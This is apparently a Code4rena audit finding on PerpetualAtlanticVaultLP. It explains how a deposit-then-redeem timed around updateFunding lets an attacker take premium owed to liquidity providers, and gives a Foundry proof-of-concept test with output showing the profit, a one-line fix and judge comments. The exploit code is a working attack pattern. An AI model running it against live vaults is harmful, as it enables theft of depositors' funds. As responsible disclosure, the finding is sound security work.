Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 136/189
Findings: 1
Award: $17.31
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: said
Also found by: 0Kage, 0xCiphky, 0xkazim, 836541, AkshaySrivastav, Evo, HChang26, HHK, KrisApostolov, Neon2835, QiuhaoLi, Tendency, Toshii, bart1e, bin2chen, carrotsmuggler, chaduke, etherhood, gjaldon, glcanvas, josephdara, lanrebayode77, mahdikarimi, max10afternoon, nobody2018, peakbolt, qpzm, rvierdiiev, sces60107, tapir, ubermensch, volodya
17.313 USDC - $17.31
The premium in the PerpetualAtlanticVaultLP
contract should belong to Liquidity Providers in terms of system design. Since the premium fund distribution mechanism is carried out according to each cycle, the attacker uses the time difference of each cycle to deposit a large number of WETHs in advance to obtain a large number of shares, then calls the updateFunding
function of the PerpetualAtlanticVault
contract to distribute the premium fund, and finally calls the redeem
function of the PerpetualAtlanticVaultLP
contract to redeem all his own shares. At this time, the attacker can obtain a large number of premium funds.
Create a test script Poc01.t.sol in the tests/rdpxV2-core/ folder and write the following code:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test } from "forge-std/Test.sol"; import {console} from "forge-std/console.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import { Setup } from "./Setup.t.sol"; import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol"; contract Poc01 is ERC721Holder, Setup { // ================================ HELPERS ================================ // function mintToken(uint256 _amount, address _to) public { weth.mint(_to, _amount); rdpx.mint(_to, _amount * 100); } function setApprovals(address _as) public { vm.startPrank(_as, _as); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); rdpx.approve(address(rdpxV2Core), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); weth.approve(address(rdpxV2Core), type(uint256).max); vm.stopPrank(); } function deposit(uint256 _amount, address _from) public { vm.startPrank(_from, _from); vaultLp.deposit(_amount, address(1)); vm.stopPrank(); } // ================================ CORE ================================ // address Alice = address(1); address Bob = address(2); address Charlie = address(3); address Daniel = address(4); address Attacker = address(5); function _mockRealScenes() private{ setApprovals(Alice); setApprovals(Bob); setApprovals(Charlie); setApprovals(Daniel); setApprovals(Attacker); mintToken(10 ether, Alice); mintToken(10 ether, Bob); mintToken(10 ether, Charlie); mintToken(10 ether, Daniel); // Alice deposit 10 WETH deposit(10 ether, Alice); // Bob deposit 10 WETH deposit(10 ether, Bob); // Charlie bonds 10 dpxETH rdpxV2Core.bond(10 ether, 0, Charlie); // Daniel bonds 10 dpxETH rdpxV2Core.bond(10 ether, 0, Daniel); } function testStealPremium() public { _mockRealScenes(); weth.mint(Attacker, 500 ether); //Assuming the attacker has 500 ether uint balanceBefore = weth.balanceOf(Attacker); console.log(" Attacker's WETH balance before -> ",balanceBefore); skip(86500); // expires epoch 1 console.log(" Attacker earn -> ",_oneAttack()); // one attack skip(1); // 1 second console.log(" Attacker earn -> ",_oneAttack()); // attack again skip(86400); // 1 day console.log(" Attacker earn -> ",_oneAttack()); // attack again console.log(" Attacker's WETH balance after -> ",weth.balanceOf(Attacker)); console.log(" Attackers profit in total -> ",weth.balanceOf(Attacker) - balanceBefore); } function _oneAttack() private returns(uint256 earn){ vm.startPrank(Attacker); uint balanceBefore = weth.balanceOf(Attacker); //Attacker deposit all his balance uint shares = vaultLp.deposit(balanceBefore , Attacker); //Attacker redeem all his share vaultLp.redeem(shares, Attacker, Attacker); uint balanceAfter = weth.balanceOf(Attacker); earn = balanceAfter - balanceBefore; vm.stopPrank(); } }
Run the test script and the results are as follows:
sh-3.2# forge test --match-test StealPremium -vvv [â ”] Compiling... [â Š] Compiling 1 files with 0.8.19 [â ¢] Solc 0.8.19 finished in 5.63s Compiler run successful! Running 1 test for tests/rdpxV2-core/Poc01.t.sol:Poc01 [PASS] testStealPremium() (gas: 2728079) Logs: Attacker's WETH balance before -> 500000000000000000000 Attacker earn -> 141387421004610961 Attacker earn -> 1634536659011 Attacker earn -> 141223967338709676 Attacker's WETH balance after -> 500282613022879979648 Attackers profit in total -> 282613022879979648 Test result: ok. 1 passed; 0 failed; finished in 3.03s
From the results, it can be seen that the attack was successful! The attacker stole 282613022879979648
WETHs from the PerpetualAtlanticVaultLP
contract without any risk.
Visual Studio Code Foundry
The reason for the vulnerability is that in the deposit
function of the PerpetualAtlanticVaultLP
contract, the statement perpetualAtlanticVault.updateFunding();
was not called first. Instead, the previewDeposit
function was called first to calculate the shares. Therefore, mitigation measures are recommended:
Move statement perpetualAtlanticVault.updateFunding();
to the first line at the beginning of the deposit
function:
function deposit( uint256 assets, address receiver ) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); perpetualAtlanticVault.updateFunding(); // Need to transfer before minting or ERC777s could reenter. collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets; emit Deposit(msg.sender, receiver, assets, shares); }
Change to:
function deposit( uint256 assets, address receiver ) public virtual returns (uint256 shares) { perpetualAtlanticVault.updateFunding(); // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); // Need to transfer before minting or ERC777s could reenter. collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets; emit Deposit(msg.sender, receiver, assets, shares); }
Other
#0 - c4-pre-sort
2023-09-13T15:41:55Z
bytes032 marked the issue as duplicate of #867
#1 - c4-pre-sort
2023-09-13T15:42:05Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:25:49Z
GalloDaSballo marked the issue as satisfactory